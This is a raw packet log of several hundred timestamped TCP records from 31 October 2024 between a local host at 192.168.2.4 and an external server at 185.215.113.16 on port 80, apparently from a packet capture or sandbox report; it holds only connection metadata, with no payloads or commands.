Oct 31, 2024 04:15:14.182843924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.182862997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.183111906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183123112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183129072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183135033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183140993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183151007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183165073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183176994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183187962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.183188915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183229923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.183386087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183398962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183408976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183419943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183427095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.183432102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183444023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183459997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.183487892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.183557034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183639050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183650970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183661938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183672905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183684111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183696032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183710098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.183744907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.183962107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183974028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183984995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.183996916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184003115 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184009075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184020042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184031010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184031963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184046030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184056044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184057951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184072971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184101105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184164047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184201002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184212923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184240103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184308052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184319973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184331894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184343100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184349060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184376001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184417963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184518099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184529066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184540033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184552908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184556007 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184564114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184576035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184587002 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184597969 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184617996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.184752941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184763908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184775114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184787035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184802055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.184828043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.185102940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185113907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185126066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185142994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185149908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.185153961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185159922 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.185159922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185170889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185183048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185194969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185200930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.185205936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185219049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185224056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.185233116 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.185259104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.185369015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185380936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185391903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185414076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.185444117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.185482979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.196821928 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.196842909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.196863890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.196876049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.196887970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.196899891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.196903944 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.196913004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.196929932 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.196962118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.234746933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.285968065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.285988092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286001921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286027908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286063910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286077023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286088943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286102057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286112070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286115885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286132097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286154985 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286209106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286221981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286241055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286252975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286256075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286282063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286341906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286354065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286364079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286459923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286464930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286478043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286489010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286513090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286535025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286591053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286602020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286612988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286658049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286668062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286680937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286690950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286710978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286737919 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286751032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286762953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286782026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286808968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286837101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286848068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286879063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286880970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286890984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286904097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286915064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286940098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.286950111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286961079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.286997080 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287066936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287117958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287131071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287157059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287178993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287192106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287220001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287252903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287292004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287331104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287347078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287369967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287390947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287403107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287414074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287439108 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287477016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287488937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287501097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287523031 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287535906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287544012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287590027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287626982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287633896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287637949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287684917 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287712097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287724018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287735939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287748098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287760973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287791967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287807941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287875891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287888050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287921906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.287960052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287971973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287982941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.287996054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288005114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288028955 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288084984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288094997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288114071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288125992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288135052 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288156033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288220882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288232088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288266897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288266897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288306952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288335085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288350105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288395882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288424015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288435936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288445950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288458109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288466930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288491011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288511992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288536072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288575888 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288603067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288614988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288652897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288731098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288743019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288753033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288764954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288774967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288817883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288837910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288846970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288882017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.288913965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.288927078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289002895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289015055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289026022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289042950 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289067984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289081097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289091110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289120913 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289145947 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289192915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289228916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289239883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289251089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289274931 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289364100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289381027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289392948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289400101 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289403915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289427996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289555073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289566040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289592028 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289602041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289623022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289635897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289705992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289717913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289732933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289747000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289772034 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289798021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289808989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289819956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289834023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289844036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289844990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289856911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289866924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.289870024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.289905071 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.290021896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.290066957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.290079117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.290106058 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.290128946 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.290153027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.290165901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.290175915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.290196896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.290237904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.290287018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.290302038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.290313005 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.290359974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.290575027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.291733027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.311273098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.311330080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.311341047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.311369896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.311378002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.311389923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.311422110 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.331190109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.331202030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.331212997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.331238031 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.331257105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.331257105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.331320047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.331332922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.331342936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.331350088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.331387043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.331417084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.331434965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.331464052 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.334486008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334505081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334515095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334527016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.334548950 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.334598064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334609032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334620953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334636927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334655046 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.334666967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.334769964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334789038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334799051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334825039 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.334849119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334858894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334868908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334880114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334887981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.334913015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.334952116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334964037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.334976912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.335000038 CET	49738	80	192.168.2.4	185.215.113.16
